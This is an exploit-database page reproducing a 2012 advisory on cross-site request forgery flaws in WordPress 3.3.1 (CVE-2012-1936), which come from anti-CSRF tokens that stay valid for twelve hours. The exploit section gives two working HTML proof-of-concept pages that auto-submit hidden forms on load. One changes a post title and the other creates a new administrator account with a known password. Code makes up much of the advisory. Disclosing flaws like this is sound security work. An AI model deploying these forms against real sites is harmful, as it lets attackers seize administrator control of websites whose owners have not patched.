Wordpress 3.3.1 - Multiple CSRF Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Wordpress 3.3.1 Multiple CSRF Vulnerabilities. Allows attackers to change post title, add/delete administrators/users, manipulate comments, and modify site settings via CSRF

Reporter	Title	Published	Views	Family All 12
0day.today	Wordpress 3.3.1 Multiple CSRF Vulnerabilities	19 Mar 201200:00	–	zdt
CVE	CVE-2012-1936	3 May 201220:00	–	cve
Cvelist	CVE-2012-1936	3 May 201220:00	–	cvelist
Exploit DB	WordPress Core 3.3.1 - Multiple Cross-Site Request Forgery Vulnerabilities	27 Apr 201200:00	–	exploitdb
exploitpack	WordPress 3.3.1 - Multiple Cross-Site Request Forgery Vulnerabilities	27 Apr 201200:00	–	exploitpack
NVD	CVE-2012-1936	3 May 201220:55	–	nvd
Packet Storm	WordPress 3.3.1 Cross Site Request Forgery	26 Apr 201200:00	–	packetstorm
Patchstack	WordPress 3.3.1 - Multiple CSRF Vulnerabilities	27 Apr 201200:00	–	patchstack
Prion	Cross site request forgery (csrf)	3 May 201220:55	–	prion
Positive Technologies	PT-2012-3667 · WordPress · Wordpress	3 May 201200:00	–	ptsecurity


                                                +---------------------------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title     : Wordpress 3.3.1 Multiple CSRF Vulnerabilities 
# Date              : 19-03-2012
# Author            : Ivano Binetti (http://www.ivanobinetti.com)
# Software link     : http://wordpress.org/wordpress-3.3.1.zip
# Vendor site       : http://wordpress.org
# Version           : 3.3.1 (and lower). Probably also version 3.3.2 is affected.
# Tested on         : Debian Squeeze (6.0) 
# Original Advisory : http://www.webapp-security.com/2012/04/wordpress-3-3-1-multiple-csrf-vulnerabilities/
# CVE               : CVE-2012-1936
# OSVDB ID          : 81588
# Bugtraq ID        : 53280
+---------------------------------------------------------------------------------------------------------------------------------------------------+
Summary
1)Introduction
2)Vulnerabilities Description 
 2.1 Multiple CSRF
3)Exploit
 3.1 CSRF (Change Post Title)
 3.2 CSRF (Add Admin)
+---------------------------------------------------------------------------------------------------------------------------------------------------+
1)Introduction
WordPress &#34;is web software you can use to create a beautiful website or blog. We like to say that WordPress is both free and priceless at 
the same time.&#34;

2)Vulnerability Description 
 2.1 Multiple CSRF
 Wordpress 3.3.1 suffers from multiple CSRF vulnerabilities which allow an attacker to change post title, add
 administrators/users, delete administrators/users, approve and unapprove comment, delete comment, change background image, insert custom 
 header image, change site title, change administrator&#39;s email, change Wordpress Address, change Site Address, when an authenticated user/admin 
 browses a special crafted web page. May be other parameters can be modified. 
 This vulnerability is caused by a security flaw in anti-CSRF token (_wpnonce, _wpnonce_create-user, _ajax_nonce, 
 _wpnonce-custom-background-upload, _wpnonce-custom-header-upload) generation. For some operations (see below) above specified anti-CSRF tokens are
 not associated with the current user session (as Owasp recommends) but are the are valid for all operations (for a specific administrator/user)
 within 12 hour.
 The above described vulnerability allows an attacker - who has sniffed anti-CSRF token - to have 12 hour to perform a CSRF attack.
 For Owasp recommendation about anti-CSRF token, you can read the following document:
 https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet#General_Recommendation:_Synchronizer_Token_Pattern 
 This problem affects the following operations:
 - Add Admin/User
 - Delete Admin/User
 - Approve comment
 - Unapprove comment
 - Delete comment
 - Change background image
 - Insert custom header image
 - Change site title
 - Change administrator&#39;s email
 - Change Wordpress Address
 - Change Site Address
 Other operations (like insert a new post) are not affected by this CSRF vulnerability.
 In this Advisory I will only demonstrate how to change post title and how to add a new administrator account.
 
3)Exploit 

 3.1 CSRF (Change Post Title)
 &#60;html&#62;
 &#60;body onload=&#34;javascript:document.forms[0].submit()&#34;&#62;
 &#60;H2&#62;CSRF Exploit to change post title&#60;/H2&#62;
 &#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;http://&#60;wordpress_ip&#62;:80/wp-admin/admin-ajax.php&#34;&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;post_title&#34; value=&#34;hackedtitle&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;post_name&#34; value=&#34;hackedtitle&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;mm&#34; value=&#34;03&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;jj&#34; value=&#34;16&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;aa&#34; value=&#34;2012&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;hh&#34; value=&#34;&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;mn&#34; value=&#34;&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;ss&#34; value=&#34;&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;post_author&#34; value=&#34;1&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;post_password&#34; value=&#34;&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;post_category%5B%5D&#34; value=&#34;0&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;post_category%5B%5D&#34; value=&#34;1&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;tax_input%5Bpost_tag%5D&#34; value=&#34;&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;comment_status&#34; value=&#34;open&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;ping_status&#34; value=&#34;open&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;_status&#34; value=&#34;publish&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;post_format&#34; value=&#34;0&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;_inline_edit&#34; value=&#34;&#60;sniffed_value&#62;&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;post_view&#34; value=&#34;list&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;screen&#34; value=&#34;edit-post&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;action&#34; value=&#34;inline-save&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;post_type&#34; value=&#34;post&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;post_ID&#34; value=&#34;1&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;edit_date&#34; value=&#34;true&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;post_status&#34; value=&#34;all&#34;/&#62;
 &#60;/form&#62;
 &#60;/body&#62;
 &#60;/html&#62;

 Note: this exploit simulate changing of post title using &#34;Quick Edit&#34; function

 3.2 CSRF (Add Admin)
 &#60;html&#62;
 &#60;body onload=&#34;javascript:document.forms[0].submit()&#34;&#62;
 &#60;H2&#62;CSRF Exploit to add Administrator&#60;/H2&#62;
 &#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;http://&#60;wordpress_ip&#62;:80/wp-admin/user-new.php&#34;&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;action&#34; value=&#34;createuser&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;_wpnonce_create-user&#34; value=&#34;&#60;sniffed_value&#62;&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;_wp_http_referer&#34; value=&#34;%2Fwordpress%2Fwp-admin%2Fuser-new.php&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;user_login&#34; value=&#34;admin2&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;email&#34; value=&#34;[email protected]&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;first_name&#34; value=&#34;[email protected]&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;last_name&#34; value=&#34;&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;url&#34; value=&#34;&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;pass1&#34; value=&#34;password&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;pass2&#34; value=&#34;password&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;role&#34; value=&#34;administrator&#34;/&#62;
 &#60;input type=&#34;hidden&#34; name=&#34;createuser&#34; value=&#34;Add+New+User+&#34;/&#62;
 &#60;/form&#62;
 &#60;/body&#62;
 &#60;/html&#62;
+--------------------------------------------------------------------------------------------------------------------------------------------------+

01 Jul 2014 00:00Current

6.5Medium risk

Vulners AI Score6.5

EPSS0.00403